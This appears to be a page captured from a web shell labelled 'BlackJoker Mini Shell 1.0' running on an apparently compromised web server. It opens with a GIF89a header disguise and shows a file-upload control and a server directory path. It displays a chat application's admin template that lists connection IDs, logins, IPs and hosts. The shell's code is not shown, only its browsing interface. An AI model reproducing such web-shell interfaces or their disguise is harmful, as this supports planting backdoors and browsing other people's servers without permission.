GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/templates/admin/
Upload File :
Current File : /home/serb/www/chat/templates/admin/connlist.tpl

{assign var=title value=Connections}
{include file=top.tpl}

<center>
<h4>{$langs.t0}</h4>

<form name="connlist" id="connlist" action="connlist.php" method="post">
	<input type="hidden" id="sort" name="sort" value="none">
</form>	

{if $connections}

<table border="1">
<tr>
	
	<th><a href="javascript:my_getbyid('sort').value = 'id'; my_getbyid('connlist').submit()">id</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'updated'; my_getbyid('connlist').submit()">{$langs.t1}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'created'; my_getbyid('connlist').submit()">{$langs.t2}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'login'; my_getbyid('connlist').submit()">{$langs.t3}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'roomid'; my_getbyid('connlist').submit()">{$langs.t4}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'state'; my_getbyid('connlist').submit()">{$langs.t5}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'color'; my_getbyid('connlist').submit()">{$langs.t6}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'start'; my_getbyid('connlist').submit()">{$langs.t7}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'lang'; my_getbyid('connlist').submit()">{$langs.t8}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'ip'; my_getbyid('connlist').submit()">ip</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'tzoffset'; my_getbyid('connlist').submit()">{$langs.t9}</a></th>
	<th><a href="javascript:my_getbyid('sort').value = 'host'; my_getbyid('connlist').submit()">{$langs.t10}</a></th>
</tr>
{foreach from=$connections item=connection}
<tr>
	<td>{$connection.id}</td>
	<td align=center>{$connection.updated}</td>
	<td align=center>{$connection.created}</td>
	<td align=center>
	{if $connection.userid}
		<a href=user.php?id={$connection.userid}>{$connection.login}</a>
	{else}
		-
	{/if}
	</td>
	<td align=center>{$connection.roomid}</td>
	<td align=center>{$connection.state}</td>
	<td>{$connection.color}</td>
	<td>{$connection.start}</td>
	<td align=center>{$connection.lang}</td>
	<td>{$connection.ip}</td>
	<td align=center>{$connection.tzoffset}</td>
	<td align=center>{$connection.host}</td>
</tr>

{/foreach}
{else}
	{$langs.t11}
{/if}

{include file=bottom.tpl}

./BlackJoker Mini Shell 1.0